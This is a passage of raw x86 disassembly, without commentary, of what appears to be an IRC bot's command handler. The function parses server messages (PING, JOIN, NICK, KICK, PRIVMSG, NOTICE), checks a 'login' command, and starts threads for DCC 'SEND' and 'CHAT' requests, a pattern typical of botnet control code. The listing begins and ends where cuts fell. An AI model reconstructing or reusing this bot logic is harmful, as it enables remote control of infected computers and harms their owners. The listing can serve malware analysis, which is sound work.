-1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h var_D80 = dword ptr -0D80h var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h Drive = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h Str1 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch Count = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h Dst = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h SubStr = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h Args = byte ptr -8Ch Format = dword ptr -88h Str2 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Src = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h Source = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h File = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call __alloca_probe push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call _memset push 1Bh ; Count lea eax, [ebp+Str1] push [ebp+Source] ; Source push eax ; Dest call _strncpy add esp, 18h cmp [ebp+Src], ebx jz loc_401E94 push esi ; Size lea eax, [ebp+Str] push ebx ; Val push eax ; Dst call _memset dec esi lea eax, [ebp+Str] push esi ; Count push [ebp+Src] ; Source push eax ; Dest call _strncpy lea eax, [ebp+Str] push offset SubStr ; " :" push eax ; Str call _strstr mov [ebp+var_C], eax lea eax, [ebp+Str] push esi ; Count push eax ; Source lea eax, [ebp+var_4AF0] push eax ; Dest call _strncpy mov esi, offset asc_42D124 ; " " lea eax, [ebp+var_4AF0] push esi ; Delim push eax ; Str call _strtok add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+Args] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi ; Delim push ebx ; Str call _strtok mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp dword ptr [ebp+Args], ebx jz loc_401E94 push 100h ; Size lea eax, [ebp+var_960] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh ; Count lea eax, [ebp+var_E00] push esi ; Source push eax ; Dest call _strncpy lea eax, [esi+1] push 17h ; Count push eax ; Source lea eax, [ebp+var_C4] push eax ; Dest call _strncpy lea eax, [ebp+var_C4] push offset Delim ; "!" push eax ; Str call _strtok add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi ; Str2 push offset aPing ; "PING" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401CC6 push dword ptr [ebp+Args] ; Args mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] ; int call sub_409A2D mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] ; Args push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_409A2D add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, dword ptr [ebp+Args] push esi ; Str2 push offset a001 ; "001" call _strcmp pop ecx test eax, eax pop ecx jz loc_4099E1 push esi ; Str2 push offset a005 ; "005" call _strcmp pop ecx test eax, eax pop ecx jz loc_4099E1 push esi ; Str2 push offset a302_0 ; "302" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+Str2] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh ; Count push eax ; Source push [ebp+arg_1C] ; Dest call _strncpy jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi ; Str2 push offset a433 ; "433" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx ; Str1 push dword_4290A0 ; int push dword_42909C ; int push [ebp+Source] ; Dest call sub_40B08E add esp, 10h push [ebp+Source] ; Args push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] ; int call sub_409A2D loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, dword ptr [ebp+Args] push esi ; Str2 push offset aKick ; "KICK" call _strcmp pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+File], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh ; Count lea eax, [ebp+var_E00] push esi ; Source push eax ; Dest call _strncpy lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+Str2], ebx jz short loc_401E5A push [ebp+Str2] ; Str2 lea eax, [ebp+var_C4] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+Dst] push offset asc_42D0B4 ; "-" push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dst] push eax lea eax, [ebp+var_C4] push eax ; Args push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] ; int call sub_409A2D lea eax, [ebp+Dst] push eax call sub_4151AD add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+File] jnz loc_401DCF push [ebp+Str2] ; Str2 push [ebp+Source] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] ; Args mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] ; int call sub_409A2D loc_401E91: ; CODE XREF: sub_401ACD+253Cj ; sub_401ACD+2559j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A62j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A84j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi ; Str2 push offset aNick ; "NICK" call _strcmp pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+Format] mov esi, [ebp+arg_18] inc eax mov [ebp+Src], 3 mov [ebp+File], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h ; Val push eax ; Str call _strchr pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+File] ; Source lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax ; Dest call _strcpy push [ebp+arg_1C] ; Source push edi ; Dest call _strcat add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+Src] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+File], ebx jz loc_401E94 push [ebp+Source] ; Str2 lea eax, [ebp+var_C4] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh ; Count push [ebp+File] ; Source push [ebp+Source] ; Dest call _strncpy loc_401F52: ; CODE XREF: sub_401ACD+1C36j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h ; Val push eax ; Str call _strchr pop ecx cmp eax, ebx pop ecx mov [ebp+Src], eax jz loc_401E94 push eax ; Str call _strlen push [ebp+File] ; Str mov edi, eax call _strlen add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+Src] shl esi, 7 push [ebp+File] add esi, [ebp+arg_18] push offset aSS_1 ; ":%s%s" push esi ; Dest call _sprintf push ebx ; int lea eax, [ebp+var_45EC] push ebx ; int push eax ; int push [ebp+arg_8] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi ; Str2 push offset aPart ; "PART" call _strcmp pop ecx test eax, eax pop ecx jz short loc_402014 push esi ; Str2 push offset aQuit ; "QUIT" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push dword ptr [ebp+Args] ; Str2 push offset a353 ; "353" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] ; Str2 push [ebp+arg_8] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] ; Args push offset asc_42D060 ; "-" loc_402077: ; CODE XREF: sub_401ACD+28CDj ; sub_401ACD+2C4Dj ... call sub_415221 loc_40207C: ; CODE XREF: sub_401ACD+1BE2j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B70j pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+Dst] push offset asc_42D03C ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_4151AD push dword ptr [ebp+Args] ; Str2 push offset aPart ; "PART" call _strcmp add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+Dst] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push dword ptr [ebp+Args] ; Str2 mov esi, offset aPrivmsg ; "PRIVMSG" push esi ; Str1 call _strcmp pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push dword ptr [ebp+Args] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_402138 push dword ptr [ebp+Args] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jnz loc_409855 cmp dword_429088, ebx jz loc_409855 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push dword ptr [ebp+Args] ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_4022BE push dword ptr [ebp+Args] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+Str2] inc [ebp+var_80] push 4 mov [ebp+Format], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax ; Str2 push offset dword_42D020 ; Str1 mov [ebp+arg_8], eax call _strcmp pop ecx test eax, eax pop ecx jnz loc_402557 push dword ptr [ebp+esi+Args] ; Str2 push offset aSend ; "SEND" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+Format] mov edi, offset aS_6 ; "%s" lea eax, [ebp+var_1B80] push edi ; Format push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+Str2] push edi ; Format push eax ; Dest call _sprintf push [ebp+esi+var_80] ; Str call _atoi mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh ; Count push eax ; Source lea eax, [ebp+var_1A7C] push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+Dst] push offset asc_42CFE4 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Ah ; int push eax ; Source call sub_40B0F7 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset sub_4161BD push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BD push 32h call ds:dword_427078 ; Sleep jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push dword ptr [ebp+Args] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+Format], ebx jz loc_401E94 push offset asc_42CFE0 ; "#" push [ebp+Format] ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+Format], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+Str2], ebx jz loc_401E94 inc [ebp+Str2] jz short loc_402356 cmp [ebp+Source], ebx jz short loc_402356 lea eax, [ebp+Str1] push eax ; Str call _strlen push eax ; MaxCount lea eax, [ebp+Str1] push [ebp+Str2] ; Str2 push eax ; Str1 call _strncmp mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi ; Str2 push offset dword_42CFD4 ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+Format] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CB508 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42CFB8 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi ; Str2 push offset dword_42CFB0 ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, dword ptr [ebp+esi*4+Args] cmp eax, ebx jz loc_40217C mov ecx, [ebp+Format] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42CF98 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7853j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42CF5C jmp loc_4083AE ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+Format] push offset asc_42CF18 ; "-" loc_40240A: ; CODE XREF: sub_401ACD+7E2Aj ; sub_401ACD+7E91j lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 10h jmp loc_4083BD ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push dword ptr [ebp+esi+Args] ; Str2 push offset aChat ; "CHAT" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33F test eax, eax pop ecx jnz loc_402535 push [ebp+esi+Str2] lea eax, [ebp+var_2AA8] push offset aS_6 ; "%s" push eax ; Dest call _sprintf push [ebp+esi+var_80] ; Str call _atoi mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh ; Count push eax ; Source lea eax, [ebp+var_2990] push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+Dst] push offset asc_42CEF0 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Bh ; int push eax ; Source call sub_40B0F7 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset sub_415C5A push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BD push 32h call ds:dword_427078 ; Sleep jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42CEB8 jmp loc_4083AE ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42CE88 jmp loc_4083AE ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42CE54 jmp loc_4083AE ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] push edi ; Str2 push offset aLogin ; "login" mov [ebp+arg_8], edi call _strcmp pop ecx test eax, eax pop ecx jz loc_40985D push edi ; Str2 push offset asc_42CE50 ; "l" call _strcmp pop ecx test eax, eax pop ecx jz loc_40985D cmp [ebp+var_A4], ebx jnz short loc_4025BE push dword ptr [ebp+Args] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jnz loc_409855 loc_4025BE: ; CODE XREF: sub_401ACD+AD5j cmp [ebp+arg_28], ebx jnz loc_409855 xor edi, edi cmp dword_4294D0, ebx jle loc_402773 mov [ebp+arg_20], offset dword_43D810 loc_4025DC: ; CODE XREF: sub_401ACD+B2Ej push [ebp+arg_8] ; Str2 push [ebp+arg_20] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_402602 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4294D0 jl short loc_4025DC jmp loc_402773 ; --------------------------------------------------------------------------- loc_402602: ; CODE XREF: sub_401ACD+B1Ej push offset SubStr ; " :" push [ebp+Src] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D828[edi] push 9Fh ; Count add eax, 4 push ecx ; Source push eax ; Dest call _strncpy lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402657: ; CODE XREF: sub_401ACD+C3Bj push [ebp+arg_20] lea eax, [ebp+SubStr] push offset aD ; "$%d-" push eax ; Dest call _sprintf lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Str call _strstr add esp, 14h test eax, eax jz short loc_4026C3 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C3 lea eax, dword_43D810[edi] push eax ; Str call _strlen add [ebp+var_C], eax pop ecx jz short loc_4026FE mov eax, [ebp+arg_C] push dword ptr [eax-4] ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_4026FE push eax ; Source lea 